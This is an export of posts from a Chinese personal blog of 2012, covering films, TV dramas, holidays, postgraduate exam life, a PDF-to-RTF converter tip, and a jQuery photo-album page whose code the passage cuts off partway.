Github是个项目托管服务，UI做的很棒，里面的GIST功能也做的不错，我经常用来做一些小代码分享。不知道是不是GIT很麻烦，我按照官方的操作方法做总是失败，而且根本不明所以然。今天按照这个教程做了一下，终于OK了。后来发现，其实安装的过程都对了，我就是不会上传和下载代码，用了教程里头的软件后终于会操作了。\n早上突发奇想想接个双屏玩玩，果然是好GEEK必备，老机器瞬间就变得很FASHION的说。\n操作很简单，首先确定你的显卡支持双屏，然后确定你装了显卡的驱动。把显示器的插口插到本子上就会自动识别了。双屏有几种模式，常用的是镜像和扩展两个模式。镜像正如其名两个屏幕是一模一样的东西，扩展则是扩展当前屏幕区域。不过双屏最好两个屏幕的平常使用分辨率一致，否则会很悲催的。\n","count":334,"date":"2012年02月20日","featuredImage":null,"permalink":"https://imnerd.org/git-double-screen.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2083318\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003eGithub是个项目托管服务，UI做的很棒，里面的GIST功能也做的不错，我经常用来做一些小代码分享。不知道是不是GIT很麻烦，我按照官方的操作方法做总是失败，而且根本不明所以然。今天按照这个\u003ca href=\"http://www.cnblogs.com/yixiaoyang/archive/2012/01/06/2314190.html\" title=\"GIT\"\u003e教程\u003c/a\u003e做了一下，终于OK了。后来发现，其实安装的过程都对了，我就是不会上传和下载代码，用了教程里头的软件后终于会操作了。\u003c/p\u003e","time":1,"title":"GIT\u0026双屏GEEK必备"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 热烈祝贺我们憨厚的志言同学和我们可爱的苹果嫂子在情人节这么温馨浪漫的一天向组织靠拢，成为法律认准的夫妇！\n","count":52,"date":"2012年02月14日","featuredImage":null,"permalink":"https://imnerd.org/valentines-day.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2080961\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e热烈祝贺我们憨厚的\u003ca href=\"http://www.zhiyt.com/\" title=\"志言堂\"\u003e志言\u003c/a\u003e同学和我们可爱的\u003ca href=\"http://triapple.com\" title=\"苹果三角\"\u003e苹果\u003c/a\u003e嫂子在情人节这么温馨浪漫的一天向组织靠拢，成为法律认准的夫妇！\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/ww4.sinaimg.cn/bmiddle/65c30aaejw1dq241124grj.jpg\" title=\"结婚证\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/ww4.sinaimg.cn/bmiddle/65c30aaejw1dq241124grj.jpg\" alt=\"结婚证\"\u003e\u003c/a\u003e \u003ca href=\"https://imnerd.org/assets/migration/ww2.sinaimg.cn/bmiddle/63d35a85jw1dq1v7bfoegj.jpg\" title=\"结婚证\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/ww2.sinaimg.cn/bmiddle/63d35a85jw1dq1v7bfoegj.jpg\" alt=\"结婚证\"\u003e\u003c/a\u003e\u003c/p\u003e","time":1,"title":"情人节里话情人"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":" 前两天被老二他们带着看了几集《妖精的尾巴》，发现超级热血，跟火影和海贼是一个类型的呢，前面的剧情非常的精彩，常常让人感动的落泪。而且剧情也环环相扣，不会说前面讲完了剧情就弃之不理了，让我看了稍微回味一下发现更多吐槽的地方呢。而且妖精的尾巴也添加了很多搞笑无厘头进去，虽然很多人不感冒，但是意外的非常喜欢呢。于是这两天的目标就成了追番了o(╯□╰)o。\n神奇的国度里头当然要有神奇的风俗。全国统一的华丽丽的正月十五元宵节，我们这里居然是正月十四呢！T_T好吧，我在深感无语当中。。。阿门。。。然后话说晚上还有个华丽丽滴“状元游街”，这个上次在帮母亲大人写村子社区概况的时候有了解，不懂的人可以参考这里：传送门。对于这个奇怪的风俗我已经完全不想吐槽了，是在是太无聊了，没有之一！\n早上把老二他们送走，终于让他们独自坐车了，虽然母亲大人貌似很担心的样子（平均30min/次的电话频率），着实让我汗颜了一把。话说由于上次拿户口本拿票非常的容易（我看起来是这样子滴），所以这次就给了他们俩的医保卡给他们（医保卡上头也有身份证号的说），本来以为轻轻松松的事情，结果没想到售票员说不行。天朝的制度真是无奈，就跟钥匙锁一样，真正的小偷轻而易举就揭开了，而被难住的总是主人。最后貌似是找了铁警办了临时身份证给解决的呢。然后我到铁道部官网12306上查了一下，还真是出了身份证貌似其它的都很难搞定呢。\n2. 有效身份证件 2.1 在12306.cn网站，用户可以为自己购票，也可以为他人购票，但均须准确填写乘车人的真实有效身份证件信息。\n2.2 12306.cn网站接受的有效身份证件是指：\n2.2.1 中华人民共和国居民身份证。\n2.2.2 中华人民共和国港澳居民来往内地通行证。\n2.2.3 台湾居民来往大陆通行证。\n2.2.4 按规定可使用的有效护照。\n2.3 购买儿童票的乘车儿童没有办理有效身份证件的，须使用同行成年人的有效身份证件信息，并于开车前换取纸质车票后乘车。\n2.4 用户使用虚假身份证件购买车票或进站乘车的，后果自负。因此造成铁路运输企业或第三方损失的，将追究其法律责任。\n——来自[铁路客户服务中心](https://dynamic.12306.cn/otsweb/info/question_passenger_knowledge.jsp \"铁路客户服务中心\") 最后祝大家元宵佳节快乐，春节结束，但是新的生活才刚刚开始，祝福大家勇往直前，创造更加美好的明天。以上。\n","count":988,"date":"2012年02月06日","featuredImage":null,"permalink":"https://imnerd.org/fairy-tale.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1770163859\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e前两天被老二他们带着看了几集《妖精的尾巴》，发现超级热血，跟火影和海贼是一个类型的呢，前面的剧情非常的精彩，常常让人感动的落泪。而且剧情也环环相扣，不会说前面讲完了剧情就弃之不理了，让我看了稍微回味一下发现更多吐槽的地方呢。而且妖精的尾巴也添加了很多搞笑无厘头进去，虽然很多人不感冒，但是意外的非常喜欢呢。于是这两天的目标就成了追番了o(╯□╰)o。\u003c/p\u003e","time":2,"title":"妖精的尾巴"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 果断趁幽灵协议之前把碟中谍前三部都看了一下，发现跟玩命快递系列一样，都是非常刺激观众肾上腺素的大片。每次伴随着克鲁斯豪放的大动作，我有时候都会揪心一下，就怕有什么事情发生。\n每部电影都围绕着中情局内部情报员的背叛展开。第一部的电影风格整体偏七八十年代，给我营造出了一种克鲁斯他们拥有领先的科技产品的感觉，虽然开始看着很不舒服，但是不得不承认，做的还是很不错的。第二部大家都说有些做作，确实是这样的，特别是开头拍克鲁斯攀岩的。好吧，我得承认，克鲁斯攀岩确实是非常的牛逼啦，而且确实是看的我心惊肉跳的以至于那部分是边快进边看完的。不过总的来说导演在这里花的时间实在是太长啦，长的我在心惊肉跳之余还有时间埋怨导演做作。片中也有很多慢动作是特别给克鲁斯秀动作的。本来做的好也就罢了，可是偏偏有那么几个慢动作做的让人感觉特别的傻逼，好吧我错了，我真的不应该这么说克鲁斯的。第三部让人非常欣慰的添加了中国元素，而且我们常年单身的Ethan（这里必须果断只能讲Ethan!）同学终于结婚了，虽然新娘子貌似被搞的很惨？采用倒叙的手法在开头给我带来了不小的疑惑，随着电影的进行思路逐渐明朗。三部剧情什么的都还好啦（废话，重点都是克鲁斯的动作好不好剧情什么的当然可以忽略不计啦！）\n另外我发现，克鲁斯真心好帅啊！以前没怎么认识克鲁斯的，虽然看过《雨人》，但也没怎么了解。（很有可能是因为当时留的是长头发，我喜欢他短发的样子啊！）每次说Tom·Cruis都会想到Tom·Hanks，顺带豆瓣查了一下，好吧果然还是阿甘正传那时候的傻样，跟我们家的克鲁斯完全没法子比啊，亏我以前总是将两个Tom并在一起呢！另外还想吐槽一下，克鲁斯跟我是同一天生日的说，都是七月三号诶！不知道为什么看到这个心里超激动有木有！不过我们的克鲁斯今年都六十了都，顺带想想他拍四也是真心不容易啊。看碟中谍一的时候我就有种感觉，他跟《迷失》里扮演Jack（马修）的那个男主特别特别的像（还是他像我们的克鲁斯？！），特别是侧脸的时候，不知道大家有没有这种想法，反正我觉得特别的像啦，而且马修也是巨蟹座的说~~！\n未完待续\u0026hellip;\n","count":887,"date":"2012年02月03日","featuredImage":null,"permalink":"https://imnerd.org/mission-impossible.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769962750\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e果断趁幽灵协议之前把碟中谍前三部都看了一下，发现跟玩命快递系列一样，都是非常刺激观众肾上腺素的大片。每次伴随着克鲁斯豪放的大动作，我有时候都会揪心一下，就怕有什么事情发生。\u003c/p\u003e","time":2,"title":"碟中谍"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":" 这个礼拜没偷懒没画图，窝在家里把哈利波特系列看了一遍。以前也看过，但是因为片段的看，而且也断断续续的，基本上都忘得差不多了，果断重新看了一遍。家里的网速属于小水管级别，可是我还是可耻的选择了1080P(大概每部都有2.5GB，总共20GB了吧)。\n看完整个系列之后，我突然就想吐槽一句，哈利波特系列就是霍格沃兹黑魔法防御课老师的不间断替换（除了最后一部），而且基本上每部都跟黑魔法防御课的老师有莫大的关系。每个系列的开头基本都是在大厅，以邓布利多宣布新的黑魔法防御课老师作为开始。其实我也搞不懂邓布利多啦，我看斯内普君天生就是教黑魔法的料嘛（谁让他天天一身黑衣而且魔咒也好犀利的说），干嘛不让他教。越往后看越觉得我们斯内普君是越来越可爱了，智慧有，感情有，冷酷有，可爱有（大家不知道还记不记得幻形怪那部分呢），简直是具备了所有需要的元素了！最重要的是，作为双重间谍，有着一个让观众为之落泪的过去。所以自从Harry长残了以后，我就毫不犹豫的转向了斯内普了。（什么？你们说还有赫敏？唔，我没听到→_→）\n不得不说，Harry三个人小时候还真是萌啊，到大了真是惨不忍睹（好吧，其实没到这种份上，只是期望越大失望越大而已）。最最最最无语的是，Harry最后居然和金妮结婚了！这个是我所不能理解的，就算是朋友妻不可欺，也不应该在发情的季节就把我们的笑Harry推给金妮了啊。他们是从哪里来的激情啊擦内！（其实我也没看出来罗恩和赫敏是哪里来的激情的o(╯□╰)o）\n其实看完电影后很有一种去看原著的冲动，因为感觉电影中很多都讲的不是很明白。例如上面讲到的他们之间爱情火花的产生。还有斯内普教授的双重间谍，其实我压根没感觉出他这个双重间谍的意义，就看到斯内普一直再帮伏地魔，难道就是为了拖延时间么，而且最后斯内普还死的那么惨，伤心死了。果然认真我就输了么？什么时候找找英文原版看看吧o(╯□╰)o\n未完待续\u0026hellip;\n","count":801,"date":"2012年01月31日","featuredImage":null,"permalink":"https://imnerd.org/harry-potter.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769901638\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e这个礼拜没偷懒没画图，窝在家里把哈利波特系列看了一遍。以前也看过，但是因为片段的看，而且也断断续续的，基本上都忘得差不多了，果断重新看了一遍。家里的网速属于小水管级别，可是我还是可耻的选择了1080P(大概每部都有2.5GB，总共20GB了吧)。\u003c/p\u003e","time":2,"title":"哈利波特"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":" 芝麻开花节节高，今年的数量比去年的又增长了许多，啊哈哈哈。数据来自豆瓣，由doubanlet[Powered By frankel]自动生成。 ","count":68,"date":"2012年01月25日","featuredImage":null,"permalink":"https://imnerd.org/2011-film.html","summary":"\u003cp\u003e\n芝麻开花节节高，今年的数量比\u003ca href=\"https://imnerd.org/2011-film.html\" target=\"_blank\" alt=\"2011-movie\"\u003e去年\u003c/a\u003e的又增长了许多，啊哈哈哈。数据来自豆瓣，由\u003ca href=\"https://imnerd.org/douban\" alt=\"doubanlet\"\u003edoubanlet\u003c/a\u003e[Powered By frankel]自动生成。\n\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p4.ssl.qhimg.com/t013b053942f62b991e.png\" alt=\"\"\u003e\n\u003cimg src=\"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t015a284abb16f8cb28.png\" alt=\"\"\u003e\u003c/p\u003e","time":1,"title":"2011年小结之电影全记录"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 前两天开始看《步步惊心》，这是考研之前就计划好了的，今天花了一整天的时间终于看完了。这是我看过的第二部国内电视连续剧，基本上算是这两天跟家人在一块的共同活动。没错，我推荐给老妈看了，然后比较无厘头的是她看到三十一集的时候说“哦，这个是九阿哥啊”，看大结局的时候说“十三阿哥怎么也要死啊？”，看完了之后说“哦，怎么就完了，皇上还没死啊？”。我真是快被她弄的无语死了，比较搞笑的是她看到感人处的时候还会哭的稀里哗啦的。然后我就嘲笑她没看懂电视剧情还哭的稀里哗啦的，真是好笑。\n步步惊心，若曦自以为了解历史，可控全局，殊不知自己也是当局中人，被历史所算计，当自己明白时，依然后悔莫及。作者用若曦的一句话埋下伏笔，最后揭开预示结局，真是扣人心弦。大家谁都没有错，错的只是立场。我搅得电视剧比较坑爹，前半部分为了讲八阿哥和若曦，就刻意的写八阿哥和若曦之间的好，后半部分为了讲四阿哥和若曦，就刻意的把八阿哥争储的机关算尽。但是不管怎么写，我还是比较喜欢八阿哥的啦，嘿嘿！（花心ing\u0026hellip;）\n在豆瓣上给步步惊心打了三颗星，一颗剧情，三颗无数阿哥们的给力表演，坑爹的落叶特技和荷塘特技以及无数坑爹的特技扣掉一颗，最后就是三颗了。顺带继续吐槽一下化妆，坑爹的辫子套在头上神马的看的一清二楚啊，八阿哥头上加了几丝白发贴上去的痕迹也看的一清二楚啊有木有！！\n","count":571,"date":"2012年01月24日","featuredImage":null,"permalink":"https://imnerd.org/bu-bu-jing-xin.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1770462407\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e前两天开始看《步步惊心》，这是考研之前就计划好了的，今天花了一整天的时间终于看完了。这是我看过的第二部国内电视连续剧，基本上算是这两天跟家人在一块的共同活动。没错，我推荐给老妈看了，然后比较无厘头的是她看到三十一集的时候说“哦，这个是九阿哥啊”，看大结局的时候说“十三阿哥怎么也要死啊？”，看完了之后说“哦，怎么就完了，皇上还没死啊？”。我真是快被她弄的无语死了，比较搞笑的是她看到感人处的时候还会哭的稀里哗啦的。然后我就嘲笑她没看懂电视剧情还哭的稀里哗啦的，真是好笑。\u003c/p\u003e","time":2,"title":"只缘身在此山中"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"时间真是把杀猪的刀，晃眼间二零一二的新年就到了，春晚也三十年了，刘欢都有白头发开始戴老花眼了。开篇前，公子在这里祝世界上所有的人，不管是好人坏人，男人女人，老人小孩，在新的一年里有一个好的开始，在今后的生活中能够快快乐乐的，实现自己的愿望。过去的琐事让它终止在兔年的脚步中，让我们用崭新的状态去迎接新的一年！\n微博上有句话讲的好：即使春晚再烂我也还是要看，要不然第二天大家一块吐槽春晚的时候我该说点什么呢。今年的春晚还是一样的平淡，唯有微博给春晚增加了无限亮点。没有亮点，不要紧，微博为你创造亮点；没有基情，不要紧，微博为你创造基情；没有广告，不要紧，微博为你创造广告。各种神吐槽一波接着一波，有时不得不让人佩服大家的聪明才智，不得不感慨高手总是在民间啊。但这些玩笑大家一笑而过就好了，都是笑料大家也不必太当真。\n自从买了相机之后每年新年都会拍点烟花。这两天天空都飘着小雪，家里有些暴露在外头的水管还结冰了。昨儿个拿着相机站在外面拍，没一会儿手就冻得不行了，实在坚持不住就赶紧进来了。今年偷了点懒，直接用了相机的连拍，回来检查了一下发现拍的很糟糕，能看的没几张，不过估计做成GIF动画应该还是不错的。\n大年初一，照常是睡了个懒觉，在妈妈的催促中起床了。这里有生男孩请客的风俗（生女孩就不能请的），请客不是请吃饭，吃的是一些瓜果坚果之类的零食，配上点当地特色的老酒，走过路过的人过来都可以过来吃点喝点。虽然说有点延续封建时代重男轻女的风俗，但也确实是个不错的风俗习惯。今儿个走亲访友，顺带走了几家“请客的”（大概有四五家吧），结果吃了一个早上的果冻（干货什么的吃起来很不爽的有木有），人都快成果冻了有木有！\n最后仍然是祝福大家二零一二龙年快乐！\n","count":717,"date":"2012年01月23日","featuredImage":null,"permalink":"https://imnerd.org/2012-happy-new-year.html","summary":"\u003cp\u003e时间真是把杀猪的刀，晃眼间二零一二的新年就到了，春晚也三十年了，刘欢都有白头发开始戴老花眼了。开篇前，公子在这里祝世界上所有的人，不管是好人坏人，男人女人，老人小孩，在新的一年里有一个好的开始，在今后的生活中能够快快乐乐的，实现自己的愿望。过去的琐事让它终止在兔年的脚步中，让我们用崭新的状态去迎接新的一年！\u003c/p\u003e","time":2,"title":"二零一二大家一样要快乐"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":" 平常写论文的孩子肯定经常需要用到PDF转文本的功能吧。以前我用的方法也比较笨，手动的复制，然后Ctrl+H替换回车（^p）达到目的。直到前几天，我突然发现了汗王的这个神器，才发现我用的方法简直是弱爆了有木有！ 首先声明一下，软件所支持的PDF文档必须是通过WORD转化过去的。什么叫做转化过去的呢，比较简单的辨别方法就是：如果你看到PDF的文档很清楚，感觉跟WORD打印出来的印刷体一些样，而且用鼠标过去每行都能选择，只有这样的PDF文档是支持的。如果你的PDF文档通过文档扫描上去的，也就是说文档看起来模糊不清，而且明显感觉是书本扫描上去的，这样的PDF是没办法成功的。对付这类文档，你只能用人工大法了。 明白适应哪些文档后，首先去http://lzm.ch/0s这里下载汉王的转换软件。下载完安装好后打开软件，如图所示点击按钮选择打开你要转换的文件。\n这里以“2012考研政治模拟试题-蒋中挺.pdf”为例，打开文件后如图所示。\n点击旁边的转换成RTF，出现如下对话框。\n根据需还要选择你要转换的范围，这里以全部为例，点击后选择你要保存转后文件保存地址稍等片刻后就能得到你的文件了，效果如图所示。\n经检查表示丝毫没有错误，而且PDF文档中的水印背景因为是直接从DOC中转换而来的二元也能当做背景图给直接删掉了，非常的强大。顺带提醒一声，RTF是写字板的格式，是能保存格式的记事本，保存成这个后直接转换或者复制到WORD就行了。\n","count":609,"date":"2012年01月10日","featuredImage":null,"permalink":"https://imnerd.org/pdf-convert-rtf.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#155490\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1795867744\"\u003e\u003c/iframe\u003e\n\u003cp\u003e平常写论文的孩子肯定经常需要用到PDF转文本的功能吧。以前我用的方法也比较笨，手动的复制，然后Ctrl+H替换回车（^p）达到目的。直到前几天，我突然发现了汗王的这个神器，才发现我用的方法简直是弱爆了有木有！\n\u003cp\u003e首先声明一下，软件所支持的PDF文档必须是通过WORD转化过去的。什么叫做转化过去的呢，比较简单的辨别方法就是：如果你看到PDF的文档很清楚，感觉跟WORD打印出来的印刷体一些样，而且用鼠标过去每行都能选择，只有这样的PDF文档是支持的。如果你的PDF文档通过文档扫描上去的，也就是说文档看起来模糊不清，而且明显感觉是书本扫描上去的，这样的PDF是没办法成功的。对付这类文档，你只能用人工大法了。\n明白适应哪些文档后，首先去\u003ca href=\"http://download.hw99.com/hanwang/online/pdf_converter/pdfconverter.rar\" target=\"_blank\"\u003ehttp://lzm.ch/0s\u003c/a\u003e这里下载汉王的转换软件。下载完安装好后打开软件，如图所示点击按钮选择打开你要转换的文件。\u003c/p\u003e","time":2,"title":"最强PDF转文本，完爆一切方法！"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 刚跟兄弟们出去喝了点小酒，吃了点烧烤，算是奢华糜烂的考研后生活的开始。考研后生活，是我概括出来的，至于奢华糜烂，是骚洋给总结的。说是奢华糜烂一点也不为过，想当时还在复习的时候就在想等考完研了该怎么怎么潇洒，电影该看的看，动漫该追的追，技术该脑补的就脑补，网站该补全的就补全。现在想想，当时的设想，奢华糜烂这个词，总结的还是相当的精准的。\n考研这段日子真是一段痛苦的日子，特别是最后一个月的时候，那时间都是掐着算的啊。虽然说人家都在做最后的冲刺，我还在与每天的早起做斗争=。=，但是我也每天都看的很晚的说，当然这个前提是别人看的更晚了。考试这两天更是折磨人，因为考点离我们学校比较远，我们还特地在考点附近租了房的说。考试前一晚骚军在床上躺了很久结果也还是彻夜无眠，一部分跟他的心态有关系，另外也足以看得出是有一定压力的。第二天因为考的是两门专业课，前一晚他们更是看到了12点，营长他们更是看到了2点之久，早上听说是5点钟起来的，听着我都觉得佩服他们。我和小亭因为第二天考的是数学和一门专业课表示鸭梨不大。第一天晚上回去之后他先上了一小时的网，打了会儿英雄杀（因为普通标间没有了，我们订的是电脑房），然后我比较蛋疼的坐在旁边看了一小时=。=。然后看了会儿数学到12点睡去了。早上也是正常的7点起床。据小亭说我四次闹铃都没醒=。=，好吧，这绝对是前一晚没早睡的原因！啊，说到这里，我必须强调一下，小亭你的脚能不能再臭一点！！！还有你的呼噜声能不能再响一点！！！继续扯正题，第二天上午考完我们也是草草的解决了午饭（不知道一个红薯算不算草草），然后回宾馆疯狂的背书啊。当然，这直接造成的后果就是，考试的时候基本上吃红薯的孩子都是边打雷边做试卷的。这个事实告诉我们，省什么时间都不能省吃饭的时间啊亲！\n对了对了，突然记起来，说到考研这两天的日子我不能不提我旁边这位神人啊——我们人称“大哥”的奇才啊。可是这么说，考研两天48个小时他是基本没睡啊！！！！！（如果躺了2个小时也算的话那就算是睡了2个小时了）当然人家是一直都在复习了，造成这个的直接原因是我们可爱的大哥2个月前才说要准备考研的=。=。果然是人称奇葩中的战斗葩啊。在这里，借这个事情提醒一下各位准备考研的研友们，如果是真的想凭实力考研的话，还是要趁早准备的说。一般说如果1月份考研的话，提前6-10个月都是不足为过的。另外还要提醒一声，复习政治的话保证每天翻翻红宝书之类的资料书，提前3个月左右开始背的话应该是非常能有保证的。\n考完晚上回来上网就发现好多人吐槽说今年泄题。对于这个我还是比较淡定的，但是对于今年的监考老师，我是相当的不能容忍的。给我换了个这么挫的考点不说，派来的监考老师也是各种不给力，让我不得不蛋疼的吐槽一下啊。就说两件比较有趣但无奈的事情吧。第一件，第一场考试老师查身份证看着我的身份证和准考证半天居然说我的身份证和准考证的头像太不像了，你妈不就是大学四年胖了点么至于这么吐槽嘛！你妹啊！！！！第二件，好像是第三场考试的时候吧，也是查身份证，老师发现有多个身份证住址都是“***56号”，然后问这是个什么样的神奇的地方，居然有这么多人都是这里的。然后我蛋疼的看了一下，无奈的回答了一句：“这是我们学校啊!!!”（我们都是将户口转到学校的孩子）。碰到个无知的老师真是伤不起啊有木有。\n今年监考的老师还真是二逼，除了上面两件事，什么考试吃的都不能带，说是现在的高科技非常的强大。强大你妹妹啊！你们他妈的就只能折腾折腾我们这些老老实实考试的孩子，作弊的孩子你倒是抓一抓啊，就在你眼皮子低下作弊你也只是匆匆一瞥，这算什么？他妹的只会欺软怕硬。泄题什么的更是恶心，都不想说什么了，正个CN教育体制完全腹黑了。\n中午果断2200大洋入手了HTC Radar，作为奢华糜烂的考研后生活的开始。目前服役的6300各种坑爹，主要表现为打电话要打三次才能通，问题是通了还不一定能通话，总是别人听不到我说话。继续重试N次后才能成功通话几秒钟。6300，你就光荣的退役吧，我相信，Radar君一定会继承你的遗志更好的为主人服务的！ 考研后生活，我给自己准备了一大堆一大堆的任务。但是我自己明白，其中有99%是无法完成的。所以，我的考研后生活，会过的相当的奢华糜烂的。\n","count":1748,"date":"2012年01月09日","featuredImage":null,"permalink":"https://imnerd.org/after-postgraduate.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1770815807\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e刚跟兄弟们出去喝了点小酒，吃了点烧烤，算是奢华糜烂的考研后生活的开始。考研后生活，是我概括出来的，至于奢华糜烂，是骚洋给总结的。说是奢华糜烂一点也不为过，想当时还在复习的时候就在想等考完研了该怎么怎么潇洒，电影该看的看，动漫该追的追，技术该脑补的就脑补，网站该补全的就补全。现在想想，当时的设想，奢华糜烂这个词，总结的还是相当的精准的。\u003c/p\u003e","time":4,"title":"奢华糜烂的考研后生活"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"之前因为图片大，数据解析多次的原因，我的API相册展示页访问起来表示鸭梨巨大，所以我就央求了老四同学帮我写了这么一个JQ版本的。【没办法，我是JS盲o(╯□╰)o】使用之后访问起来果然什么鸭梨都木有啊！在此非常感谢老四同学在百忙之中帮我做了这么个小东西。\n废话不多说，先放上相册预览地址：预览地址一 | 预览地址二\n继续贴上代码【你也可以在这里找到这段代码】\n\u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD XHTML 1.1//EN\u0026#34; \u0026#34;http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\u0026#34;\u0026gt; \u0026lt;html xml:lang=\u0026#34;fr\u0026#34; xmlns=\u0026#34;http://www.w3.org/1999/xhtml\u0026#34;\u0026gt;\u0026lt;head\u0026gt; \u0026lt;meta http-equiv=\u0026#34;content-type\u0026#34; content=\u0026#34;text/html; charset=UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { background-color:#E9E9E9; color:#333333; font-family:\u0026#39;Microsoft YaHei\u0026#39;,\u0026#39;Lucida handwriting\u0026#39;,Arial,Helvetica,sans-serif; font-size:10pt; margin:0; padding:0; text-shadow: 0px 0px 1px #999; -webkit-text-size-adjust:none; } a,a:hover { color:#333333; text-decoration:none; } .photo, .album { display:inline-block; margin:5px; padding:10px 0; float:left; position: relative; text-align:center; background-color: #fff; border: 1px solid #eee; -webkit-box-shadow:2px 2px 3px rgba(135,139,144,0.4); -moz-box-shadow:2px 2px 3px rgba(135,139,144,0.4); box-shadow:2px 2px 3px rgba(135,139,144,0.4); } .photo:before, album:before { -webkit-transform: skew(-25deg) rotate(-6deg); -moz-transform: skew(-25deg) rotate(-6deg); transform: skew(-25deg) rotate(-6deg); left: 27px; width: 70%; height: 35%; content: \u0026#39; \u0026#39;; -webkit-box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3); -moz-box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3); box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3); position: absolute; bottom: 7px; z-index: -1; } .album img { width:120px; } .img_title { margin:auto; display:block; width:160px; height:17px; overflow: hidden; } .img_date { margin:2px auto 0 auto; display:block; width:160px; height:17px; overflow: hidden; color:#888; } #back { display:inline-block; margin:5px; padding:10px; float:left; position: relative; text-align:center; background-color: #fff; border: 1px solid #eee; -webkit-box-shadow:2px 2px 3px rgba(135,139,144,0.4); -moz-box-shadow:2px 2px 3px rgba(135,139,144,0.4); box-shadow:2px 2px 3px rgba(135,139,144,0.4); display: none; } #back:hover { background-color: #ccc; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt;\u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;images\u0026#34; style=\u0026#34;background-position: 0px 0px;\u0026#34;\u0026gt; \u0026lt;a id=\u0026#34;back\u0026#34;\u0026gt;BACK\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var albumURL = \u0026#39;http://album.imnerd.org/\u0026#39;; $(function(){ $.getJSON(albumURL + \u0026#39;api.php?method=get.gallery.name\u0026amp;callback=?\u0026#39;, function(data){ $.each(data, function(i,item){ $.getJSON(albumURL + \u0026#39;api.php?method=get.gallery.info\u0026amp;name=\u0026#39; + item + \u0026#39;\u0026amp;callback=?\u0026#39;, function(data){ $(\u0026#39;\u0026lt;a class=\u0026#34;album\u0026#34;/\u0026gt;\u0026#39;).attr(\u0026#39;href\u0026#39;, \u0026#39;javascript:openAlbum(\u0026#34;\u0026#39; + data.name + \u0026#39;\u0026#34;)\u0026#39;).attr(\u0026#39;title\u0026#39;, data.description) .append(\u0026#39;\u0026lt;img/\u0026gt;\u0026#39;).children().eq(0) //.attr(\u0026#34;src\u0026#34;, albumURL + data.path + data.previewimage) .attr(\u0026#34;src\u0026#34;, albumURL + data.path + \u0026#39;tn_\u0026#39; + data.previewimage.substr(0,data.previewimage.length-3) + \u0026#39;jpg\u0026#39;) //.css(\u0026#39;width\u0026#39;, data.maxThumbWidth) .parent() .append(\u0026#39;\u0026lt;span/\u0026gt;\u0026#39;).children().eq(1).addClass(\u0026#39;img_title\u0026#39;).html(data.title).parent() .append(\u0026#39;\u0026lt;span/\u0026gt;\u0026#39;).children().eq(2).addClass(\u0026#39;img_title\u0026#39;).html(\u0026#39;共 \u0026#39; + data.fileCount + \u0026#39; 张\u0026#39;).parent() 